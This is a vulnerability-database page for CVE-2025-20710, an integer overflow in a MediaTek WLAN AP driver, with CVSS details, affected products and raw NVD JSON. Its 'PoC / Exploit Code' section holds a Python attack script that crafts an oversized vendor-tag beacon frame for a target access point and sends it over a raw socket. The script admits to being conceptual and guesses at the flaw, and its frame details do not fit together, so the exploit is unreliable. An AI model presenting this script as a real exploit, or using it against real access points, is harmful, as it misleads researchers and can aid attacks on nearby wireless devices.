Security Vulnerability Report
中文
CVE-2025-20710 CVSS 8.8 HIGH

CVE-2025-20710

Published: 2025-10-14 10:15:35
Last Modified: 2025-10-16 15:22:32

Description

In wlan AP driver, there is a possible out of bounds write due to an integer overflow. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00418785; Issue ID: MSV-3515.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek WLAN AP Driver(具体受影响版本请参考MediaTek 2025年10月安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-20710 - MediaTek WLAN AP Driver Integer Overflow PoC # This is a conceptual PoC demonstrating the vulnerability pattern. # The vulnerability exists in the WLAN AP driver's handling of certain # wireless frames where integer overflow leads to out-of-bounds write. import struct import socket import os # Target AP MAC address (replace with actual target) TARGET_AP_MAC = b'\x00\x11\x22\x33\x44\x55' SOURCE_MAC = b'\xde\xad\xbe\xef\xca\xfe' def craft_malicious_frame(): """ Craft a malicious wireless management frame that triggers the integer overflow in the WLAN AP driver's frame processing. The key is to provide length fields that cause integer overflow when the driver calculates buffer sizes. """ # IEEE 802.11 frame header frame_control = struct.pack('<H', 0x0080) # Beacon frame type duration = struct.pack('<H', 0) addr1 = TARGET_AP_MAC addr2 = SOURCE_MAC addr3 = TARGET_AP_MAC seq_ctrl = struct.pack('<H', 0) header = frame_control + duration + addr1 + addr2 + addr3 + seq_ctrl # Craft payload with integer overflow trigger # The driver likely performs arithmetic on these length fields # causing overflow when computing buffer allocation size overflow_tag = struct.pack('B', 0xFF) # Vendor specific tag overflow_tag += struct.pack('B', 0xFF) # Length field - large value overflow_payload = b'\x00\x50\x43\x00' # WPS OUI overflow_payload += b'\x41' * 250 # Padding to trigger overflow payload = overflow_tag + overflow_payload return header + payload def send_frame(frame_data, interface='wlan0'): """ Send the crafted frame using raw socket. Requires root privileges and monitor mode on the interface. """ try: # Create raw socket for 802.11 frames sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) sock.bind((interface, 0)) sock.send(frame_data) sock.close() print(f"[*] Malicious frame sent to {TARGET_AP_MAC.hex()}") except PermissionError: print("[!] Need root privileges to send raw 802.11 frames") except Exception as e: print(f"[!] Error: {e}") if __name__ == '__main__': print("[*] CVE-2025-20710 PoC - MediaTek WLAN AP Driver Integer Overflow") print("[*] Generating malicious frame...") frame = craft_malicious_frame() print(f"[*] Frame size: {len(frame)} bytes") # send_frame(frame) # Uncomment when ready to test print("[*] PoC ready. Uncomment send_frame() to execute.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20710", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:35.443", "lastModified": "2025-10-16T15:22:32.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an integer overflow. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00418785; Issue ID: MSV-3515."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}